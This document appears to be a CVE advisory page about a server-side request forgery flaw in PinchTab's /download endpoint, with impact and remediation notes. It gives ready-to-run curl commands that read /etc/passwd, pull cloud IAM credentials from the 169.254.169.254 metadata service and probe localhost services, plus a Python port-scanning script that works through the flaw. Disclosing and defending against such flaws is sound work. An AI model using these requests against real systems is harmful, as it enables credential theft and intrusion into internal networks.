PinchTab, Server-Side Request Forgery (SSRF), CVE-2026-30834 (High)

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The vulnerability is a Server-Side Request Forgery (SSRF) existing in the `/download` endpoint of PinchTab, a tool that uses a headless Chrome browser to process web resources. The issue resides in the `download.go` handler, specifically at line 78, where the `chromedp.Navigate(dlURL)` function is called. The `dlURL` variable is derived directly from the user-controlled `url` GET parameter without any validation, sanitization, or allowlisting . Because the request is executed by the headless Chrome instance running on the server, it is not subject to standard outbound network restrictions applied to user-facing services. An attacker can exploit this by supplying a malicious URL to the endpoint. By using the `file://` scheme (e.g., file:///etc/passwd), they can force the server to read and return local system files. By targeting http://169.254.169.254/latest/meta-data/`, they can access cloud instance credentials. Furthermore, they can target internal services bound to `localhost` or RFC 1918 IP addresses that are otherwise inaccessible from the external network. The server then captures the full response from these internal resources via the headless browser and returns it to the attacker, facilitating complete data exfiltration .
<h2 style="color: blue;">dailycve form:</h2>
Platform: PinchTab
Version: 0.7.7
Vulnerability : SSRF
Severity: High (7.5)
date: June 3, 2026
<h2 style="color: blue;">Prediction: June 17, 2026</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Analytics</h2>
The vulnerability exists due to a missing allowlist validation on the `url` parameter in the download handler. Attackers can exploit this to pivot from the application server into the internal network. The following code context from `internal/handlers/download.go` shows the dangerous function call:

// Vulnerable code pattern
if err := chromedp.Run(ctx, chromedp.Navigate(dlURL)); err != nil {
return fmt.Errorf("navigate to %s: %w", dlURL, err)
}

To check if your system is vulnerable, you can test the endpoint locally using curl:

Test for local file read vulnerability
curl -X GET "http://your-pinchtab-server:9867/download?url=file:///etc/passwd"
Test for internal network probing
curl -X GET "http://your-pinchtab-server:9867/download?url=http://169.254.169.254/latest/meta-data/"
Test for localhost service enumeration
curl -X GET "http://your-pinchtab-server:9867/download?url=http://localhost:8080/admin"

A simple Python script to automate internal network scanning via the SSRF:

import requests
import sys
target = "http://your-pinchtab-server:9867/download?url={}"
ports = [80, 443, 8080, 8443, 3000, 9200, 5601, 5432, 3306]
for port in ports:
url = target.format(f"http://localhost:{port}")
try:
r = requests.get(url, timeout=5)
if r.status_code == 200 and len(r.text) > 0:
print(f"[+] Port {port} open: {r.text[:100]}...")
except:
pass

<h2 style="color: blue;">How Exploit:</h2>
1. Local File Disclosure: Send a request with the `file://` scheme to read arbitrary files from the server's filesystem.

curl -X GET "http://localhost:9867/download?url=file:///etc/passwd"

2. Internal Port Scanning: Use thehttp://localhost:` scheme to fingerprint services running on the loopback interface.

curl -X GET "http://localhost:9867/download?url=http://localhost:22"

3. Cloud Metadata Exfiltration: Target cloud provider metadata endpoints to steal IAM credentials.

curl -X GET "http://localhost:9867/download?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Protection from this CVE

To remediate this vulnerability, update to the latest patched version of PinchTab as soon as it is released . If immediate patching is not possible, implement a strict URL validation mechanism:
Allowlist Approach: Maintain a strict allowlist of permitted domains or URL schemes. Block file://, gopher://, dict://, and ftp://` schemes entirely.
Network Level: Deploy firewall rules or web application firewall (WAF) policies to block outbound requests from the application to sensitive internal IP ranges (169.254.169.254, 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
Code Fix: Modify `download.go` to validate the `url` parameter against a regex allowlist before passing it tochromedp.Navigate.
<h2 style="color: blue;">Impact</h2>
This is a high-severity vulnerability (CVSS 7.5) . A successful exploit allows an unauthenticated or low-privileged attacker to:
Breach Confidentiality: Read sensitive local system files (e.g.,/etc/shadow`, application configs, source code).
Cloud Compromise: Steal cloud instance metadata and temporary credentials, leading to full cloud account takeover.
Network Pivot: Probe and interact with internal services (databases, internal admin panels, container orchestration tools) that are normally protected by network boundaries.
Bypass Authentication: Access internal management interfaces that rely on network location for trust, allowing further lateral movement within the infrastructure.

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Sources:

Reported By: github.com
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